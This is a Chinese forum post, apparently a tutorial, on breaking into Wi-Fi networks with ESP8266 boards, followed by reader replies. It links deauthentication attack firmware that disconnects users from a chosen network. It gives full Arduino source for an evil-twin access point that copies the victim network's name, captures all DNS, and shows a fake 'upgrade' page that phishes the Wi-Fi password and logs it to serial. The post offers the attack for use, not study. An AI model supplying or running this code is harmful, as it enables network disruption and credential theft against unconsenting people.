当硬件被利用起来,破解任何wifi

前言

1、使用esp8266wifi攻击+esp8266钓鱼

2、烧写攻击固件bin,

固件地址为
链接:https://pan.baidu.com/s/1WBGKKZ9HAtKcQV5VcnZN0w
提取码:4o8a

地址为0x0000 ,烧写成功以后,稍等片刻,会看到一个wifi为zhangguanzhang的ssid

密码为zhangguanzhang

连接上去,地址192.168.4.1

页面如下

选择一个wifi信号比较强的,如图我选中了yanjie,然后点击边栏攻击

点击开始,就可以,目标网络就会断线,客户连接不上。此时我们创建同SSID的wifi,使用arduino,代码如下

#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <ESP8266WiFi.h>

//调试定义
#define DebugBegin(baud_rate)    Serial.begin(baud_rate)
#define DebugPrintln(message)    Serial.println(message)
#define DebugPrint(message)    Serial.print(message)
#define DebugPrintF(...) Serial.printf( __VA_ARGS__ )

const byte DNS_PORT = 53;
IPAddress apIP(192, 168, 1, 1);
DNSServer dnsServer;
ESP8266WebServer webServer(80);

void web(){
     String html = "";
  html +="<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";
  html += "<head ><title>wifi需要升级</title></head>";
  html += " <body><script type='text/javascript'>";
  html += "   var code = prompt('请输入wifi密码:');";
  html += "  window.location.href='app?a='+code;";
  html += "  </script>";
  html += "  </body>";
  webServer.send(200, "text/html", html);
  
  
  
  }
void paa(){
  DebugPrintln("密码");
  DebugPrintln(webServer.arg(0));
  
  
  }

void setup() {
  DebugBegin(115200);
  WiFi.mode(WIFI_AP);
  WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
  WiFi.softAP("yanjie");//目标wifi修改成目标wifi

 
  // 所有请求都映射到一个具体地址
  dnsServer.start(DNS_PORT, "*", apIP);

  // replay to all requests with same HTML
  webServer.onNotFound([]() {
    web();
  });
  webServer.on("/app",paa);
  webServer.begin();
  //webServer.onNotFound(paa);
}

void loop() {
  dnsServer.processNextRequest();
  webServer.handleClient();
  
}

烧写上面源码到另外一块8266完以后,我们查看串口信息,波特率115200,正常用户就会尝试连接这个wifi,一旦连接上,就会跳转网页,请求输入WiFi密码,用户连上去,并且输入密码,就可以在串口得到密码

4 个赞

强一点的路由都打不掉

实验过才下结论吧

基本都打得掉的,,,当然超级nb的除外

当时试过,就是没打掉。应该是我姿势不对

这个思路初次听说,看来我要多补补这方面得知识。

不知道软路由器能不能打掉

为什么我打掉了 等了1天都没有获取到密码

可以可以,思路很高

这玩意买的时候得买内存大点的,内存小了有的固件刷不上

怎么烧写你这个代码? 都是报错